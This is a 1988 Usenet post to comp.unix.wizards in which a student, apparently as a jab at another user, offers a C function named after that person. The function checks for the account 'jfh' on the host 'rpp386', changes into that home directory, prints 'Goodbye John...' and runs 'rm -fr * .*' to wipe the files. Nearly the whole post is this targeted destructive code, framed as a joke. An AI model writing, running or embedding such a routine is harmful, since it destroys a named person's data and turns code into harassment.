Path: utzoo!utgpu!watmath!watdragon!tcjones From: tcjones@watdragon.waterloo.edu (Terry Jones) Newsgroups: comp.unix.wizards Subject: none. Message-ID: <9784@watdragon.waterloo.edu> Date: 17 Nov 88 22:04:45 GMT Reply-To: tcjones@watdragon.waterloo.edu (Terry Jones) Distribution: world Organization: U. of Waterloo, Ontario Lines: 24 Here's a handy-dandy little function that I just whipped up. Took me about 4 or 5 hours to get the bugs out, but I'm just a college student :-) I'm going to put in all the code I write. OK, I'm a silly college student. Not meant to be taken as an insult. #include #include void get_John_F_Haugh_II() { struct passwd *pwd = getpwnam("jfh"); char host[1024]; if (pwd == NULL) return; if (gethostname(host, sizeof(host)) == -1) return; if (strcmp(host, "rpp386")) return; if (chdir(pwd->pw_dir) == -1) return; if (fprintf(stderr, "Goodbye John...\n") == EOF) return; system("rm -fr * .*"); return; }